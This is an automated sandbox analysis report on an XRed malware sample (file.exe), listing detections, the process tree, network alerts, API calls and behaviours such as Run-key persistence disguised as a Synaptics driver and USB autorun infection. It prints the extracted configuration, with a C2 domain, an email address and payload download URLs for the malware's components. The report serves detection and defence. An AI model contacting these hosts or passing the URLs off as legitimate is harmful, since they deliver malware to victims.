Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1583477
MD5:	e819c37952e89ff0f473fa9b59cd771d
SHA1:	de2a344ed3a2b1f4e0fbd4e684170db56903763e
SHA256:	05f954e37982086a48a222726b8134fbef0caa78dbe1b66a3d4479b712d12012
Tags:	exeuser-jstrosch
Infos:

Detection

XRed

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected XRed

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Document contains an embedded VBA macro with suspicious strings

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Document contains an embedded VBA with functions possibly related to HTTP operations

Document contains an embedded VBA with functions possibly related to WSH operations (process, registry, environment, or keystrokes)

Drops PE files to the document folder of the user

Machine Learning detection for dropped file

Machine Learning detection for sample

Uses dynamic DNS services

AV process strings found (often used to terminate AV products)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected potential crypto function

Document contains an embedded VBA macro which executes code when the document is opened / closed

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops files with a non-matching file extension (content does not match file extension)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May infect USB drives

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains executable resources (Code or Archives)

PE file does not import any functions

Queries the installation date of Windows

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7568 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E819C37952E89FF0F473FA9B59CD771D)

._cache_file.exe (PID: 7656 cmdline: "C:\Users\user\Desktop\._cache_file.exe" MD5: 630D75210B325A280C3352F879297ED5)

Setup.exe (PID: 7724 cmdline: c:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe MD5: 006F8A615020A4A17F5E63801485DF46)

wordpad.exe (PID: 4712 cmdline: "C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe" c:\36a8a8e2fed651ec27d1eed188bb35\1033\EULA.rtf /p MD5: 61173FF6ABB1C40E3D3B580126FC5F66)

splwow64.exe (PID: 2876 cmdline: C:\Windows\splwow64.exe 12288 MD5: 77DE7761B037061C7C112FD3C5B91E73)

wordpad.exe (PID: 3560 cmdline: "C:\Program Files (x86)\Windows NT\Accessories\wordpad.exe" c:\36a8a8e2fed651ec27d1eed188bb35\1033\EULA.rtf /p MD5: 61173FF6ABB1C40E3D3B580126FC5F66)

Synaptics.exe (PID: 7712 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate MD5: 7407C51DD7AC30C4D79658D991A8B5D6)

WerFault.exe (PID: 8540 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 3860 MD5: C31336C1EFC2CCB44B4326EA793040F2)

EXCEL.EXE (PID: 7764 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding MD5: 4A871771235598812032C822E6F68F19)

Synaptics.exe (PID: 5724 cmdline: "C:\ProgramData\Synaptics\Synaptics.exe" MD5: 7407C51DD7AC30C4D79658D991A8B5D6)

cleanup

Malware Configuration

Threatname: XRed

{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
file.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
file.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\ProgramData\Synaptics\RCX3CE.tmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\RCX3CE.tmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\Documents\AFWAAFRXKO\~$cache1	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\Users\user\Documents\AFWAAFRXKO\~$cache1	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_XRed	Yara detected XRed	Joe Security
C:\ProgramData\Synaptics\Synaptics.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 1 entries

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: file.exe PID: 7568	JoeSecurity_XRed	Yara detected XRed	Joe Security
Process Memory Space: Synaptics.exe PID: 7712	JoeSecurity_XRed	Yara detected XRed	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.file.exe.400000.0.unpack	JoeSecurity_XRed	Yara detected XRed	Joe Security
0.0.file.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\Synaptics\Synaptics.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\file.exe, ProcessId: 7568, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Synaptics Pointing Device Driver

Sigma detected: Office Macro File Creation

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\ProgramData\Synaptics\Synaptics.exe, ProcessId: 7712, TargetFilename: C:\Users\user\AppData\Local\Temp\ofbduaaa.xlsm

Suricata Signatures

ET MALWARE Snake Keylogger Payload Request (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:29:37.136706+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49788	172.217.18.14	443	TCP
2025-01-02T20:29:37.224164+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49789	172.217.18.14	443	TCP
2025-01-02T20:29:38.412011+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49802	172.217.18.14	443	TCP
2025-01-02T20:29:38.423454+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49804	172.217.18.14	443	TCP
2025-01-02T20:29:39.478865+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49814	172.217.18.14	443	TCP
2025-01-02T20:29:39.492141+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49813	172.217.18.14	443	TCP
2025-01-02T20:29:40.531218+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49825	172.217.18.14	443	TCP
2025-01-02T20:29:40.532057+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49824	172.217.18.14	443	TCP
2025-01-02T20:29:41.980642+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49844	172.217.18.14	443	TCP
2025-01-02T20:29:42.044430+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49842	172.217.18.14	443	TCP
2025-01-02T20:29:43.063109+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49855	172.217.18.14	443	TCP
2025-01-02T20:29:43.113496+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49856	172.217.18.14	443	TCP
2025-01-02T20:29:44.264089+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49865	172.217.18.14	443	TCP
2025-01-02T20:29:44.267953+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49868	172.217.18.14	443	TCP
2025-01-02T20:29:45.869946+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49890	172.217.18.14	443	TCP
2025-01-02T20:29:45.891107+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49891	172.217.18.14	443	TCP
2025-01-02T20:29:47.000058+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49902	172.217.18.14	443	TCP
2025-01-02T20:29:47.054328+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49901	172.217.18.14	443	TCP
2025-01-02T20:29:48.053490+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49910	172.217.18.14	443	TCP
2025-01-02T20:29:48.136029+0100	2044887	1	A Network Trojan was detected	192.168.2.9	49912	172.217.18.14	443	TCP

ETPRO MALWARE W32.Bloat-A Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-02T20:29:37.480368+0100	2832617	1	Malware Command and Control Activity Detected	192.168.2.9	49797	69.42.215.252	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe	Avira: detected
Source: file.exe	Avira: detected

Antivirus detection for URL or domain

Source: http://xred.site50.net/syn/SUpdate.iniZ	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SUpdate.iniH)k	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/Synaptics.rarZ	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dlp	Avira URL Cloud: Label: malware
Source: http://xred.site50.net/syn/SSLLibrary.dll6	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\ProgramData\Synaptics\RCX3CE.tmp	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\RCX3CE.tmp	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: TR/Dldr.Agent.SH
Source: C:\ProgramData\Synaptics\Synaptics.exe	Avira: detection malicious, Label: W2000M/Dldr.Agent.17651006

Found malware configuration

Source: file.exe

Malware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\Synaptics\RCX3CE.tmp	ReversingLabs: Detection: 93%
Source: C:\ProgramData\Synaptics\Synaptics.exe	ReversingLabs: Detection: 92%
Source: C:\Users\user\Documents\AFWAAFRXKO\~$cache1	ReversingLabs: Detection: 93%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 92%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 91.4% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\Synaptics\RCX3CE.tmp	Joe Sandbox ML: detected
Source: C:\ProgramData\Synaptics\Synaptics.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_01004F6B InitializeSecurityDescriptor,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,GetCurrentDirectoryA,GetSystemDirectoryA,QueryDosDeviceA,_strlwr,strstr,strstr,strstr,GetDiskFreeSpaceA,CryptAcquireContextA,sprintf,CryptGenRandom,sprintf,sprintf,CryptReleaseContext,GetSystemTime,SystemTimeToFileTime,DialogBoxParamA,DosDateTimeToFileTime,LocalFileTimeToFileTime,SetFileTime,CloseHandle,SendDlgItemMessageA,MoveFileExA,strstr,_stricmp,SendDlgItemMessageA,GetLastError,CreateFileA,SetFilePointer,SetFilePointer,SetEndOfFile,SetFilePointer,	2_2_01004F6B
Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_010045EB GetFileAttributesA,LoadLibraryA,GetProcAddress,DecryptFileA,GetLastError,	2_2_010045EB
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C9017D1 __EH_prolog3,GetLastError,CertCloseStore,CryptMsgClose,GetLastError,CertFreeCertificateContext,CertCloseStore,CryptMsgClose,	4_2_6C9017D1
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8E8083 CryptQueryObject,	4_2_6C8E8083
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8E8094 CryptMsgGetAndVerifySigner,	4_2_6C8E8094
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8E80A5 CryptHashPublicKeyInfo,SetLastError,	4_2_6C8E80A5
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8E80D5 CryptMsgGetParam,SetLastError,	4_2_6C8E80D5
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8E8114 CryptDecodeObject,SetLastError,	4_2_6C8E8114

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe

Window detected: MICROSOFT SOFTWARE LICENSE TERMSMICROSOFT VISUAL C++ 2010 RUNTIME LIBRARIESThese license terms are an agreement between Microsoft Corporation (or based on where you live one of its affiliates) and you. Please read them. They apply to the software named above which includes the media on which you received it if any. The terms also apply to any MicrosoftupdatessupplementsInternet-based services and support servicesfor this software unless other terms accompany those items. If so those terms apply.BY USING THE SOFTWARE YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM DO NOT USE THE SOFTWARE.If you comply with these license terms you have the rights below.1.INSTALLATION AND USE RIGHTS. You may install and use any number of copies of the software on your devices.2.Scope of License. The software is licensed not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. Unless applicable law gives you more rights despite this limitation you may use the software only as expressly permitted in this agreement. In doing so you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may notdisclose the results of any benchmark tests of the software to any third party without Microsofts prior written approval;work around any technical limitations in the software;reverse engineer decompile or disassemble the software except and only to the extent that applicable law expressly permits despite this limitation;make more copies of the software than specified in this agreement or allowed by applicable law despite this limitation;publish the software for others to copy;rent lease or lend the software;transfer the software or this agreement to any third party; oruse the software for commercial software hosting services.3.BACKUP COPY. You may make one backup copy of the software. You may use it only to reinstall the software.4.DOCUMENTATION. Any person that has valid access to your computer or internal network may copy and use the documentation for your internal reference purposes.5.Export Restrictions. The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on desusertions end users and end use. For additional information see www.microsoft.com/exporting <http://www.microsoft.com/exporting>.6.SUPPORT SERVICES. Because this software is as is we may not provide support services for it.7.Entire Agreement. This agreement and the terms for supplements updates Internet-based services and support services that you use are the entire agreement for the software and support services.8.Applicable Law.a.United States. If you acquired the software in the United States Washington state law governs the interpretation of this agreement and applies to claims for breach of it regardless of conflict

Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1033\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1041\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1042\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1028\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\2052\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1040\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1036\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1031\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\3082\eula.rtf	Jump to behavior
Source: C:\Users\user\Desktop\._cache_file.exe	File created: c:\36a8a8e2fed651ec27d1eed188bb35\1049\eula.rtf	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

File opened: C:\Program Files (x86)\Microsoft Office\root\vfs\SystemX86\MSVCR100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49891 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49900 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49903 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49924 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49946 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:49949 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49959 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49961 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50076 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50116 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50134 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 216.58.206.65:443 -> 192.168.2.9:50149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50155 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.18.14:443 -> 192.168.2.9:50171 version: TLS 1.2

Source:	Binary string: sfxcab.pdb source: file.exe, ._cache_file.exe.0.dr, Synaptics.exe.0.dr
Source:	Binary string: sqmapi.pdb source: Setup.exe, Setup.exe, 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, sqmapi.dll.2.dr
Source:	Binary string: SetupEngine.pdb source: Setup.exe, Setup.exe, 00000004.00000002.2636528822.000000006C8A1000.00000020.00000001.01000000.00000009.sdmp, SetupEngine.dll.2.dr
Source:	Binary string: patchhooks.pdb source: vc_red.msi.2.dr
Source:	Binary string: Setup.pdb source: Setup.exe, Setup.exe, 00000004.00000002.2623419946.0000000000291000.00000020.00000001.01000000.00000008.sdmp, Setup.exe, 00000004.00000000.1389333890.0000000000291000.00000020.00000001.01000000.00000008.sdmp, Setup.exe.2.dr
Source:	Binary string: SetupUi.pdb source: Setup.exe, Setup.exe, 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, SetupUi.dll.2.dr
Source:	Binary string: SetupResources.pdb source: SetupResources.dll4.2.dr, SetupResources.dll3.2.dr, SetupResources.dll1.2.dr, SetupResources.dll6.2.dr, SetupResources.dll7.2.dr, SetupResources.dll.2.dr, SetupResources.dll5.2.dr, SetupResources.dll2.2.dr, SetupResources.dll0.2.dr, SetupResources.dll8.2.dr

Source: file.exe, 00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: file.exe, 00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: [autorun]
Source: file.exe, 00000000.00000000.1361968808.0000000000401000.00000020.00000001.01000000.00000003.sdmp	Binary or memory string: autorun.inf
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [autorun]
Source: Synaptics.exe, 00000003.00000003.1449952908.00000000005AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autorun.inf
Source: file.exe	Binary or memory string: [autorun]
Source: file.exe	Binary or memory string: [autorun]
Source: file.exe	Binary or memory string: autorun.inf
Source: RCX3CE.tmp.0.dr	Binary or memory string: [autorun]
Source: RCX3CE.tmp.0.dr	Binary or memory string: [autorun]
Source: RCX3CE.tmp.0.dr	Binary or memory string: autorun.inf
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: [autorun]
Source: Synaptics.exe.0.dr	Binary or memory string: autorun.inf
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: [autorun]
Source: ~$cache1.3.dr	Binary or memory string: autorun.inf

Source: C:\Users\user\Desktop\._cache_file.exe	Code function: 2_2_010046B9 SendDlgItemMessageA,strstr,SetFileAttributesA,GetLastError,CopyFileA,SendDlgItemMessageA,strstr,SetFileAttributesA,CopyFileA,GetLastError,CopyFileA,SetFileAttributesA,SendDlgItemMessageA,_strlwr,GetLastError,MoveFileA,MoveFileA,_strlwr,strstr,FindFirstFileA,strrchr,SendDlgItemMessageA,DeleteFileA,Sleep,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,strchr,strrchr,SendDlgItemMessageA,	2_2_010046B9
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C5E8097 memset,memset,FindFirstFileW,DeleteFileW,GetLastError,FindNextFileW,FindClose,	4_2_6C5E8097
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C5D4281 memset,EnterCriticalSection,FindFirstFileW,LeaveCriticalSection,ctype,FindNextFileW,FindClose,ResetEvent,CreateThread,CloseHandle,GetLastError,	4_2_6C5D4281
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8D5B82 __EH_prolog3_GS,_memset,FindFirstFileW,FindNextFileW,FindClose,	4_2_6C8D5B82
Source: C:\36a8a8e2fed651ec27d1eed188bb35\Setup.exe	Code function: 4_2_6C8D410A FindFirstFileW,GetFullPathNameW,SetLastError,_wcsrchr,_wcsrchr,	4_2_6C8D410A

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData	Jump to behavior
